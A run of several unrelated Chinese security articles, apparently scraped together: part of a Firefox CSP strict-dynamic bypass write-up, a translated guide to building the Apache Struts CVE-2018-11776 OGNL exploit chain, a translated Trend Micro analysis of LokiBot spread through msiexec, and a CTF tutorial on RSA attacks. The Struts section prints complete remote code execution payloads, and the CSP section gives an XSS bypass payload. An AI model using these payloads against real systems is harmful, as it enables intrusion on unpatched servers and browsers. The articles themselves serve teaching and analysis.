。该URL可以通过contentaccessible=yes标志来实现Web访问，我们现在可以从任意Web页面加载放在该目录下的文件。
在该目录中，有一个用于绕过内容安全策略的require.js。只需要将该require.js加载到使用内容安全策略Strict-Dynamic的页面中，即可实现Strict-Dynamic的绕过。
实际绕过操作如下：
<https://vulnerabledoma.in/fx_csp_bypass_strict-dynamic.html>
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'nonce-secret' 'strict-dynamic'">
<!-- XSS START -->
<script data-main="data:,alert(1)"></script>
<script src="resource://devtools-client-jsonview/lib/require.js"></script>
<!-- XSS END -->
在这段代码中，我们看到，data:URL将作为JavaScript资源加载，并且会弹出一个警告对话框。
各位读者可能会想，为什么会加载require.js？由于脚本元素没有正确的nonce，理论上它应该会被内容安全策略所阻止。
实际上，无论对内容安全策略设置多么严格的规则，扩展程序的Web可访问资源都会在忽略内容安全策略的情况下被加载。这种行为在内容安全策略的规范中也有所提及：
<https://www.w3.org/TR/CSP3/#extensions>
“Policy enforced on a resource SHOULD NOT interfere with the operation of
user-agent features like addons, extensions, or bookmarklets. These kinds of
features generally advance the user’s priority over page authors, as espoused
in [HTML-DESIGN].”
“对资源执行的策略不应该干扰用户代理功能（如插件、扩展或书签）进行的操作。这些类型的功能通常会提高用户的优先级，正如[HTML-DESIGN]中所提到的。”
Firefox的resource:
URI也存在这一规则。受此影响，用户甚至可以在设置了内容安全策略的页面上使用扩展的功能，但另一方面，这一特权有时会被用于绕过内容安全策略，本文所提及的漏洞就是如此。
当然，这个问题不仅仅出现在浏览器内部资源。即使在通用浏览器扩展中，如果有可以用于绕过内容安全策略的Web可访问资源，也会发生同样的情况。
根据推测，Firefox的开发人员是通过将页面的内容安全策略应用到resource: URI中，从而实现对这一漏洞的修复。
## 总结
在本文中，我们对于Firefox的内容安全策略Strict-Dynamic漏洞进行了分析。该漏洞是我在Cure53 CNY XSS Challenge
2018竞赛（ <https://github.com/cure53/XSSChallengeWiki/wiki/CNY-Challenge-2018>
）的第三级题目解题过程中发现的。在该竞赛中，我使用了另一个技巧来绕过Strict-Dynamic，如果各位读者有兴趣，可以详细查看。此外，我还创建了这个XSS挑战赛的另一个版本（
<https://twitter.com/kinugawamasato/status/984014228469280768>
），也期待有兴趣的同学能够参与。
最后，感谢Google团队进行的研究，从而让我关注到这一漏洞。谢谢！ | 社区文章 |
翻译自：<https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit>
翻译：聂心明
这篇文章我将介绍如何去构建CVE-2018-11776的利用链。首先我将介绍各种缓解措施，这些措施是Struts 安全团队为了限制OGNL
的能力而设置的，并且我也会介绍绕过这些措施的技术。我将重点介绍[SecurityMemberAccess](https://github.com/apache/struts/blob/STRUTS_2_5_18/core/src/main/java/com/opensymphony/xwork2/ognl/SecurityMemberAccess.java)
类的一般改进，这个类就像一个安全管理系统，它决定OGNL 能做什么，也会限制OGNL
的执行环境。我将忽略很多特殊组件的特殊的措施，例如ParametersInterceptor类中改进了白名单机制。
# 在Struts中利用OGNL 的简短历史
在介绍CVE-2018-11776之前，我先说明一些背景并且介绍一些概念以帮助理解OGNL利用过程。我将利用TextArea中的 [double
evaluation
bug](https://lgtm.com/blog/apache_struts_double_evaluations)说明利用过程，因为TextArea
可以更方便的显示OGNL（可能这是一种特性）。首先我来介绍一些OGNL的基本概念。
## OGNL 执行环境
在Struts的中，OGNL可以使用#符号访问全局对象。这个[文档](https://cwiki.apache.org/confluence/display/WW/OGNL)
主要介绍那些可以被访问的对象。那里会有一个对象列表，其中有两个对象对于构建exp非常关键。首先是
_memberAccess，这个对象在SecurityMemberAccess对象中被用来控制OGNL 行为，并且另一些是context，这些context
map可用访问更多的其他的对象。这对于漏洞的利用非常有用。你可以通过 _memberAccess非常容易的修改SecurityMemberAccess
的安全设置。比如，许多容易的利用开始于：
#_memberAccess['allowStaticMethodAccess']=true
通过_memberAccess修改完设置后，就可以执行下面代码
@java.lang.Runtime@getRuntime().exec('xcalc')
弹出了计算器
## SecurityMemberAccess
上面那一节已经解释过，Struts 通过_memberAccess去控制OGNL所能执行的东西。最初，使用一个Boolean
变量（allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess and
allowStaticMethodAccess)去控制OGNL所能访问的方法和Java类成员对象。默认情况下，所有的设置都是false。在最近的版本中，有三个黑名单（excludedClasses,
excludedPackageNames 和 excludedPackageNamePatterns）被用来禁用一些特殊的类和包。
## 没有静态函数，但是允许使用构造函数(在2.3.20之前)
但是默认情况下，_memberAccess被配置用来阻止访问静态，私有和保护函数。可是，在2.3.14.1之前，它可以更容易通过
`#_memberAccess`绕过并且改变这些设置。许多exp就是用到了这一点，比如 ：
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))
在2.3.14.1和更新的版本，allowStaticMethodAccess已经没有用了并且已经没法再修改了。可是，依然可以通过_memberAccess使用类的构造函数并且访问公共函数，实际上没有必要改变_memberAccess中的任何设置来执行任意代码
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
这个方法一直到2.3.20这个版本为止
## 没有静态方法，没有构造函数，但是允许直接访问类 （ 2.3.20-2.3.29 ）
在2.3.20,在一些类中引入了黑名单excludedClasses, excludedPackageNames 和
excludedPackageNamePatterns。另外一些重要的改变是阻止了所有构造函数的调用。这就不能用ProcessBuilder这个payload。从这一点来看，静态函数和构造函数都没有权限去调用了，这对于OGNL
有相当强的限制。可是，_memberAccess仍然可以访问而且还可以做更多的东西。还有静态对象
[DefaultMemberAccess](https://github.com/jkuhnert/ognl/blob/OGNL_3_1_15/src/java/ognl/OgnlContext.java#L59)
可以访问。默认情况下，在SecurityMemberAccess类中的DefaultMemberAccess
也是很脆弱的版本，它可以访问静态函数和构造函数。所以，很简单，直接用DefaultMemberAccess替换 _memberAccess的值
(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))
这种方法一直到2.3.29之前都可以用，并且这种技巧依然是最近exp中常常使用到的
## 有限的类访问和_memberAccess都被禁止了（2.3.30/2.5.2+）
最后，
_memberAccess没有用了，所以上面说到的一些小技巧也没有用了。更重要的是，ognl类，MemberAccess和ognl.DefaultMemberAccess也被加入了[黑名单](https://github.com/apache/struts/commit/016b8eedd5ca47fce95e2a16069e640e3842906d)，怎样去绕过他们呢？让我们看看S2-045的payload
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
注意到的第一件事是，这个exp没有试图访问_memberAccess。代替它的是，它试图获得
[OgnlUtil](https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java)的实例，并且清理了所有的黑名单。所有它是怎么工作的？这个exp首先从
context map中获得一个
[Container](https://github.com/apache/struts/blob/STRUTS_2_5_18/core/src/main/java/com/opensymphony/xwork2/inject/Container.java)
，这个map中包含下面的keys：
在OGNL执行环境中 com.opensymphony.xwork2.ActionContext.container这个keys给我一个
Container实例。
这个实例方法试图创建一个OgnlUtil实例，但是因为它是一个单例模式。它返回一个存在的全局对象实例。
看看在全局对象OgnlUtil中[excludedClasses](https://github.com/apache/struts/blob/STRUTS_2_5_10/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java#L60)
是怎么被关联到 _memberAccess对象的，让我们看看_memberAccess怎样被初始化的。
当请求到来的时候，一个ActionContext对象被createActionContext方法创建。
最后，OgnlValueStack 的setOgnlUtil函数被调用，以用来初始化OgnlValueStack 的securityMemberAccess
，这样就获得OgnlUtil的全局实例
我们从下面的图看到，securityMemberAccess（在最后一行）和_memberAccess（第一行）是一样的。
这就意味着全局OgnlUtil 实例都共享相同的SET：excludedClasses, excludedPackageNames 和
excludedPackageNamePatterns作为_memberAccess，所以清除这些之后也会清除与_memberAccess相匹配的SET。
在那之后，OGNL 就可以自由的访问DEFAULT_MEMBER_ACCESS对象并且
[OgnlContext](https://github.com/jkuhnert/ognl/blob/OGNL_3_1_15/src/java/ognl/OgnlContext.java)
的
[setMemberAccess](https://github.com/jkuhnert/ognl/blob/OGNL_3_1_15/src/java/ognl/OgnlContext.java#L183)
代替了 _memberAccess和DEFAULT_MEMBER_ACCESS，这样就可以执行任意代码了
# 绕过2.5.16
我将解释怎样绕过2.5.16中的限制和
CVE-2018-11776。让我们看看官方披露漏洞两天之后公开的一个exp。这是一个不同的版本，但他们大致是这样的：
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
看过上一节的读者应该能够发现至少两个原因，为什么这个exp不能工作在2.5.16，并且确定这个exp在哪个版本中不能用（小提示：2.5.x的一个版本），这个实际上是一个好消息，让人们有足够的时间升级自己的服务器并且也希望能防止大规模的攻击发生。
现在让我们构建一个实际可行的exp
我们已经了解了OGNL的缓解措施，自然是利用最新的那个漏洞，就像下面那样：
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
但是在2.5.16这个版本中却不能成功，原因是厂商添加了很多其他的限制。首先，在 2.5.13 中context被移除，还有 excludedClasses
也是一样。在2.5.10之后，黑名单变成了[immutable](https://github.com/apache/struts/commit/748da3f8ce6b9f3953bc418745c35a534e5b98ca)
解释一下，在 2.5.13这个版之后，context 这个全局变量就不能再使用了，所以第一步是寻找context的替代方案。让我们看看有哪些是可用的（
<https://cwiki.apache.org/confluence/display/WW/OGNL>
）。我会按照字母表的顺一个个去尝试，让我们看看attr。
在struts的值中，valueStack 脱颖而出，OgnlValueStack 是它的类型。如果我想回到OGNL使用 context
map，那么OgnlValueStack 这个类型似乎是一个很好的候选者。的确，有一些方法可用调用
[getContext](https://github.com/apache/struts/blob/STRUTS_2_5_16/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlValueStack.java#L117)
，结果它确实按照我们的想法给了我们一个 context map，所以我们修改前面的exp：
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
但，这个exp还是不能运行，因为excludedClasses 和excludedPackageNames是不可改变的：
不幸的是，黑名单不是一成不变的，因为你可以通过
[setters](https://github.com/apache/struts/blob/STRUTS_2_5_16/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlUtil.java#L98)
改变。
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
可是，这个exp还是不行，因为ognlUtil中excludedClasses这个set被清除了。
但是_memberAccess中没有被清除
这是因为当在ognlUtil中设置excludedClasses，它会分配excludedClasses
到一个空的集合而不是通过_memberAccess和ognlUtil去修改集合的引用。所以这个改变仅仅影响了ognlUtil，而没有影响_memberAccess。这样，我们现在重新发送我们的payload：
这是怎么回事？记住，_memberAccess 是一个短暂的对象，当每个请求到来的时候ActionContext
会创建这个对象。每次新的ActionContext
会被[createActionContext](https://github.com/apache/struts/blob/STRUTS_2_5_16/core/src/main/java/org/apache/struts2/dispatcher/filter/StrutsPrepareAndExecuteFilter.java#L132)方法创建，
[setOgnlUtil](https://github.com/apache/struts/blob/STRUTS_2_5_16/core/src/main/java/com/opensymphony/xwork2/ognl/OgnlValueStack.java#L85)方法被调用，目的是用excludedClasses,
excludedPackageNames去创建_memberAccess。黑名单来自全局的ognlUtil。所以，通过重新发送请求，新创建的_memberAccess将清空其黑名单中类和包，这样就允许我们执行我们的代码。整理这些payload，我最后得到两个payloads，第一个是清空excludedClasses
和 excludedPackageNames的黑名单。
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
第二个是解除_memberAccess并且执行任意代码
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
一个接一个的发送这些payload，可以让我通过CVE-2018-11776执行任意代码。
感谢 [Kevin
Backhouse](https://twitter.com/kevin_backhouse),这里提供了一个完全可用的CVE-2018-11776的[poc](https://github.com/Semmle/SecurityExploits)，最高可攻击2.5.16这个版本。并且从头构建了一个dockers镜像，目的是搞清楚exp起作用的版本到底是哪个。 | 社区文章 |
# 借助Windows Installer的msiexec.exe实现LokiBot恶意软件感染
|
##### 译文声明
本文是翻译文章，文章原作者 trend micro，文章来源：blog.trendmicro.com
原文地址：<https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/>
译文仅供参考，具体内容表达以及含义原文为准。
##
## 传送门
CVE-2017-11882漏洞利用：投递Loki信息窃取木马的破解版本
<https://www.anquanke.com/post/id/91946>
## 前言
早在2017年9月，微软针对影响Microsoft
Office的远程代码执行漏洞CVE-2017-11882发布了补丁。然而，该补丁的发布并没有阻止Cobalt等网络犯罪组织利用该漏洞来传播各种恶意软件，其中包括FAREIT、Ursnif和Loki信息窃取恶意软件的破解版本。其中，Loki主要功能是记录键盘输入的密码内容以及窃取加密货币钱包信息。
CVE-2017-11882的微软通告请参考：<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882> 。
Cobalt组织的信息请参考：<https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/> 。
FAREIT的相关信息请参考：<https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/fareit> 。
Ursnif的相关信息请参考：<http://blog.trendmicro.com/trendlabs-security-intelligence/new-malicious-macro-evasion-tactics-exposed-ursnif-spam-mail/> 。
近期，我们发现有攻击者利用CVE-2017-11882这一漏洞，通过Windows操作系统中的Windows
Installer服务实现攻击，这是一种此前并没有见到过的新型攻击方式。与此前使用Windows可执行文件mshta.exe利用此漏洞运行PowerShell脚本的恶意软件有所不同，借助于Windows
Installer可以下载并执行有效载荷。这种利用方式是使用Windows Installer服务中的msiexec.exe。
## 感染链
根据我们分析的样本，该攻击需要借助于钓鱼邮件的方式。攻击者向目标用户发送一封电子邮件，邮件中要求收件人确认是否已向发件人进行付款。该电子邮件所使用语言为韩文，大致翻译为：“你好，请检查你的电脑是否受到病毒或恶意代码的感染。”该提示显然是为了误导收件人让其以为电脑可能被感染。
该邮件中，还包含一个名称为“Payment
copy.doc”（趋势科技将其检测为TROJ_CVE201711882.SM木马病毒）的附件，该文档伪装成付款确认文档，实际上其中包含利用CVE2017-11882漏洞的恶意软件。
在感染恶意软件后，会使用以下命令，借助Windows Installer下载并安装名为zus.msi的恶意MSI软件包：
调用cmd.exe /c msiexec /q /I “hxxps[:]//www[.]uwaoma[.]info/zus.msi
msiexec.exe将二进制文件命名为MSIFD83.tmp：
安装后的MSIL（微软中间语言）二进制文件：
在完成下载之后，Windows
Installer（msiexec.exe）会继续将MSIL或Delphi二进制文件安装到系统。根据下载的MSI包，它可能包含严重混淆的MSIL或Delphi二进制文件，该文件是实际有效载荷的加载程序。
其中，一个值得注意的地方是，该包中提供了一个压缩层，文件扫描引擎需要进行处理和遍历，以检测文件是否为恶意文件。尽管这一过程相对简单，但如果要去检测和识别有效载荷就变得比较复杂了，因为有效载荷包含在严重混淆的MSIL和Delphi二进制文件中。
二进制文件会启动另一个随机命名的实例，该实例中会被替换为恶意软件的有效载荷。
至此，我们已经知道，这种技术用于承载我们所检测到的样本LokiBot（TROJ_LOKI.SMA），同时也可以模块化地承载其他有效载荷。
## 使用Windows Installer方式的原因
目前，反病毒软件都会重点监控可能的下载程序，例如Wscript、PowerShell、mshta.exe、winword.exe和其他类似的可执行文件，因为它们已经日渐流行地成为安装恶意有效载荷的方式。由于它们被广泛使用，因此通过监控这些软件来阻止威胁也是非常简单有效的方法。然而，使用msiexec.exe下载恶意MSI软件包却在恶意软件中并不常见。
尽管目前也有其他恶意软件会利用msiexec.exe，例如Andromeda僵尸网络，但它却不同于Loki对msiexec.exe的利用方式。在Andromeda中，会向msiexec.exe进行代码注入，并下载有效载荷和更新。另外一个重要的不同是，当Andromeda下载有效载荷及更新时，它会立即下载并执行一个PE文件。而Loki则使用会被msiexec.exe识别为安装包的MSI包，从而借助Windows
Installer感染主机。
其实，恶意软件并不真的必须要通过MSI软件包进行安装。与大多数使用msiexec.exe的恶意软件有所不同，该恶意软件不会修改二进制文件或其进程，而是仅仅使用Windows
Installer的可用功能来安装恶意软件。另外，MSI软件包通常会被恶意用于安装可能不需要的应用程序（PUA）而不是恶意软件本身，这很可能会成为恶意软件作者的一个新“潮流”。
那么，为什么要使用这种安装的方式呢？我们认为，可能是恶意软件作者在分析了主流反病毒产品后，找到了一个全新的逃避检测方式。尽管我们尽可能多地分析了恶意软件样本，但我们暂时还无法证明该类恶意软件全都是通过上述方式来进行的。此外，根据所使用的文字语言，我们认为它的目标人群为韩国用户。
## 缓解方式
鉴于钓鱼邮件是其传播的主要途径，因此个人用户或组织可以通过阻止恶意邮件和垃圾邮件，来缓解此攻击产生的影响。
其中，用户应该对邮件的内容进行有效甄别。举例来说，用户如果看到要求确认付款收据的邮件，但最近并没有进行过相关交易，那么就应该立即提起警惕。此外，如果看到不知所云的内容，也应该引起怀疑。同样地，在付款确认邮件中包含用于检查病毒或可疑软件的工具，本身就是非常值得怀疑的一种行为。最后，涉及商业交易的邮件内容都非常正式，如果你发现了拼写错误或语法错误，都可能意味着这封邮件是钓鱼邮件。
另一种更直接的缓解方式就是禁用Windows
Installer，以防止潜在攻击者在用户系统上安装软件。或者，也可以在系统设置中，设置为“仅由系统管理员安装程序”。 | 社区文章 |
# CTF中常见的RSA相关问题总结
# 前言
理解基本概念后，代码就可以说明一切，所以本文将每种攻击方式的实现方法都提炼成了一个函数，在理解原理时会有帮助，在需要时也可以直接调用。
本文的例题附件、代码段、工具和后续更新都会放在 [RSA-ATTACK](https://github.com/findneo/RSA-ATTACK)
，欢迎 star & watch 。
# 基础
## RSA概要
在开始前可以通过 [《RSA算法详解》](http://www.guideep.com/read?guide=5676830073815040)
这篇文章了解关于RSA的基础知识，包括加解密方法，算法原理和可行性证明等。
## 应用流程
1. 选取两个较大的互不相等的质数p和q，计算`n = p * q` 。
2. 计算`phi = (p-1) * (q-1)` 。
3. 选取任意e，使得e满足 `1<e<phi` 且 `gcd(e , phi) == 1` 。
4. 计算e关于phi的模逆元d， 即d满足`(e * d)% phi ==1` 。
5. 加解密：`c = (m ^ e) % n` ， `m = (c ^ d) % n` 。其中m为明文，c为密文，(n,e)为公钥对，d为私钥，要求 `0 <= m < n` 。
## 理解模逆运算
* 如果`(a*b)%c==1` ，那么a和b互为对方模c的模逆元/数论倒数，也写作 。
* 关于最大公约数有一个基本事实：`给予两整数a、c，必存在整数x、y使得ax + cy = gcd(a,c)` ，基于这个事实，当a,c互素即`gcd(a,c)==1` 时，有`ax+cy=1` ，那么就有`(a*x)%c==1` ，所以x就是a 对c的模逆元。因此，a对c存在模逆元b的充要条件是`gcd(a,c)==1` 。显然对于每一组`a,c` ，存在一族满足条件的x，在求模逆元时我们取得是最小正整数解`x mod n` 。
* 上述的基本事实很容易理解，因为a和c的最大公约数是gcd(a,b)，所以a和c都可表示为gcd(a,b)的整数倍，那么a和b的任意整系数的线性组合ax+by也必定能表示成gcd(a,c)的整数倍，他们当中最小的正整数就应该是gcd(a,c)。实际上最大公约数有一个定义就是：`a和b的最大公约数g是a和b的线性和中的最小正整数` 。
* 求模逆元主要基于扩展欧几里得算法，贴一个Python实现：
def egcd ( a , b ):
if (b == 0):
return 1, 0, a
else:
x , y , q = egcd( b , a % b ) # q = GCD(a, b) = GCD(b, a%b)
x , y = y, ( x - (a // b) * y )
return x, y, q
def mod_inv(a,b):
return egcd(a,b)[0]%b #求a模b得逆元
* 求模逆也可直接利用gmpy2库。如 `import gmpy2;print gmpy2.invert(47,30)` 可求得47模30的逆为23。
## 模意义下的运算法则
"""
(a + b) % n ≡ (a % n + b % n) % n
(a - b) % n ≡ (a % n - b % n) % n
(a * b) % n ≡ (a % n * b % n) % n
(a ^ b) % n ≡ ((a % n) ^ b) % n //幂运算
若 a ≡ b(mod n) ,则
1.对于任意正整数c,有a^c ≡ b^c(mod n)
2.对于任意整数c,有ac ≡ bc(mod n),a+c ≡ b+c(mod n),
3.若 c ≡ d(mod n),则a-c ≡ b-d(mod n),a+c ≡ b+d(mod n),ac ≡ bd(mod n)
如果ac≡bc (mod m)，且c和m互质，则a≡b (mod m）。
[理解：当且仅当c和m互质,c^-1存在,等式左右可同乘模逆。]
除法规则：
在模n意义下，a/b不再仅仅代表这两个数相除，而是指 a+k1*n 和 b+k2*n这两个组数中任意两个相除，使商为整数
因此也就可以理解，除以一个数等价于乘以它的逆
a/b ≡ c(mod n) <=> a ≡ c*(b^-1) (mod n)，其中b模n的逆记作b的负一次方。
费马小定理:
a是整数,p是质数,则a^p==a(mod p),如果a不是p的倍数,还有a^(p-1) ≡ 1(mod p)
"""
推荐文章 [模运算总结](https://blog.sengxian.com/algorithms/mod-world) 和
[取模运算涉及的算法](https://github.com/wujr5/algorithm-analysis-and-design/blob/master/relative-algorithm-learning/6-algorithm-about-modulo-operation.md) 。
## 欧几里得算法
欧几里得算法是求最大公约数的算法, 也就是中学学的
[辗转相除法](https://zh.wikipedia.org/wiki/%E8%BC%BE%E8%BD%89%E7%9B%B8%E9%99%A4%E6%B3%95)
。记 `gcd(a,b)` 为a和b的最大公约数，欧几里得算法的基本原理是`gcd(a,b)==gcd(b,a%b),(b!=0)` 和
`gcd(a,0)==a` 。
Python实现如下：
# 递归版
def gcd(a, b):
return a if not b else gcd(b, a % b)
# 迭代版
def gcd2(a, b):
while b:
a, b = b, a % b
return a
## 扩展欧几里得算法
扩展欧几里得算法基于欧几里得算法，能够求出使得 `ax+by=gcd(a,b)` 的一组x,y。
[这篇文章](http://blog.miskcoo.com/2014/09/chinese-remainder-theorem#i-3)
解释得很到位，对照下图和以下递归版实现容易理解。
Python实现如下：
# 递归版
def ext_euclid ( a , b ):
# ref:https://zh.wikipedia.org/wiki/扩展欧几里得算法
if (b == 0):
return 1, 0, a
else:
x1 , y1 , q = ext_euclid( b , a % b ) # q = GCD(a, b) = GCD(b, a%b)
x , y = y1, ( x1 - (a // b) * y1 )
return x, y, q
# 迭代版
def egcd(a, b):
# ref:https://blog.csdn.net/wyf12138/article/details/60476773
if b == 0:
return (1, 0, a)
x, y = 0, 1
s1, s2 = 1, 0
r, q = a % b, a / b
while r:
m, n = x, y
x = s1 - x * q
y = s2 - y * q
s1, s2 = m, n
a, b = b, r
r, q = a % b, a / b
return (x, y, b)
## 中国剩余定理
[维基百科](https://zh.wikipedia.org/wiki/%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86)
给出了简洁生动的说明:
参考以上说明进行的Python实现:
def CRT(mi, ai):
# mi,ai分别表示模数和取模后的值,都为列表结构
# Chinese Remainder Theorem
# lcm=lambda x , y:x*y/gcd(x,y)
# mul=lambda x , y:x*y
# assert(reduce(mul,mi)==reduce(lcm,mi))
# 以上可用于保证mi两两互质
assert (isinstance(mi, list) and isinstance(ai, list))
M = reduce(lambda x, y: x * y, mi)
ai_ti_Mi = [a * (M / m) * gmpy2.invert(M / m, m) for (m, a) in zip(mi, ai)]
return reduce(lambda x, y: x + y, ai_ti_Mi) % M
以上程序将mi当作两两互质处理,实际上有时会遇到其他情况，这时就需要逐一两两合并方程组。我参照下图实现了一个互质与不互质两种情况下都能工作良好的中国剩余定理（解同余方程组）的Python程序。
def GCRT(mi, ai):
# mi,ai分别表示模数和取模后的值,都为列表结构
assert (isinstance(mi, list) and isinstance(ai, list))
curm, cura = mi[0], ai[0]
for (m, a) in zip(mi[1:], ai[1:]):
d = gmpy2.gcd(curm, m)
c = a - cura
assert (c % d == 0) #不成立则不存在解
K = c / d * gmpy2.invert(curm / d, m / d)
cura += curm * K
curm = curm * m / d
return (cura % curm, curm) #(解,最小公倍数)
图片截自
[中国剩余定理（互质与不互质的情况）](https://blog.csdn.net/qq_29980371/article/details/71053219)
。
# 常见攻击方式实践
## 准备工具
* python
* gmpy2库
* Windows：可从<https://pypi.org/project/gmpy2/#files> 直接下载已编译的安装包。
* Linux： `sudo apt install python-gmpy2`
* libnum库：
* `git clone [github.com/hellman/libnum.git](https://github.com/hellman/libnum.git) && cd libnum && python setup.py install`
* yafu
* <https://sourceforge.net/projects/yafu/>
* RSATool2v17.exe
## RSA解密
若已知私钥d，则可以直接解密： `m=pow(c,d,n)` 。
若已知质数p和q，则通过依次计算欧拉函数值phi、私钥d可解密。简易实现如下：
def rsa_decrypt(e, c, p, q):
phi = (p - 1) * (q - 1)
n = p * q
try:
d = gmpy2.invert(e, phi) #求e模phi的逆
return pow(c, d, n)
except Exception as e:
print "e and phi are not coprime!"
raise e
在选取加密指数e时要求phi，e互质，也就是`gcd(phi,e)==1` ，如果不满足是无法直接解密的。
为什么说这个呢？是因为有时会有乍一看有点奇怪的情况。比如SCTF2018的`Crypto - a number problem` ，题目是
x**33=1926041757553905692219721422025224638913707 mod 3436415358139016629092568198745009225773259
tell me the smallest answer of x
其中`n=3436415358139016629092568198745009225773259`
可以直接分解得到p,q，出`phi=(p-1)*(q-1)` ，然后惊奇地发现`gcd(phi,33)==3`
。这时如果对加密过程比较熟悉的话，就可以想到实际上公钥`e=11` ，明文是`m=x^3` ，应该先求出m。然后再爆破x。
for i in range(1000000):
# 推荐使用gmpy2库运算，用pow开立方不可行
if gmpy2.iroot(m + i * n, 3)[1]:
x = gmpy2.iroot(m + i * n, 3)[0]
# i==243277,x==9420391510958023
break
## 查询已知的n的可分解情况
在线查询：<https://factordb.com/>
api接口：
curl http://factordb.com/api?query=12345
response:
{"id":"12345","status":"FF","factors":[["3",1],["5",1],["823",1]]}
## 使用yafu分解N
**适用情况：p,q相差较大或较小时可快速分解。**
使用方法：`yafu-x64.exe factor(233)` ，`yafu-x64.exe help`
## 模不互素 （`gcd(N1,N2)!=1`）
**适用情况：存在两个或更多模数 ，且`gcd(N1,N2)!=1` 。**
多个模数n共用质数，则可以很容易利用欧几里得算法求得他们的质因数之一`gcd(N1,N2)`
，然后这个最大公约数可用于分解模数分别得到对应的p和q，即可进行解密。实现参照本文`欧几里得算法` 部分和`RSA解密` 部分。
## 共模攻击
**适用情况：明文m、模数n相同，公钥指数e、密文c不同，`gcd(e1,e2)==1`**
对同一明文的多次加密使用相同的模数和不同的公钥指数可能导致共模攻击。简单证明见代码注释。
Python实现：
def common_modulus(n, e1, e2, c1, c2):
"""
ref: https://crypto.stackexchange.com/questions/16283/how-to-use-common-modulus-attack
∵gcd(e1,e2)==1,∴由扩展欧几里得算法，存在e1*s1+e2*s2==1
∴m==m^1==m^(e1*s1+e2*s2)==((m^e1)^s1)*((m^e2)^s2)==(c1^s1)*(c2^s2)
"""
assert (libnum.gcd(e1, e2) == 1)
_, s1, s2 = gmpy2.gcdext(e1, e2)
# 若s1<0，则c1^s1==(c1^-1)^(-s1)，其中c1^-1为c1模n的逆元。
m = pow(c1, s1, n) if s1 > 0 else pow(gmpy2.invert(c1, n), -s1, n)
m *= pow(c2, s2, n) if s2 > 0 else pow(gmpy2.invert(c2, n), -s2, n)
return m % n
### 例子：QCTF2018-XMan选拔赛 / Xman-RSA 【共模攻击+模不互素】
这道题利用了共模攻击和模不互素。刚开始是一个字符替换，与本文无关。encryption.encrypted文件被做了字符替换，根据语法确定替换表，修复文件得到源文件如下。
题目附件见文末链接。
from gmpy2 import is_prime
from os import urandom
import base64
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b) % 2 == 1 else b
return b.decode('hex')
def get_a_prime(l):
random_seed = urandom(l)
num = bytes_to_num(random_seed)
while True:
if is_prime(num):
break
num += 1
return num
def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex')
def separate(n):
p = n % 4
t = (p * p) % 4
return t == 1
f = open('flag.txt', 'r')
flag = f.read()
msg1 = ""
msg2 = ""
for i in range(len(flag)):
if separate(i):
msg2 += flag[i]
else:
msg1 += flag[i]
p1 = get_a_prime(128)
p2 = get_a_prime(128)
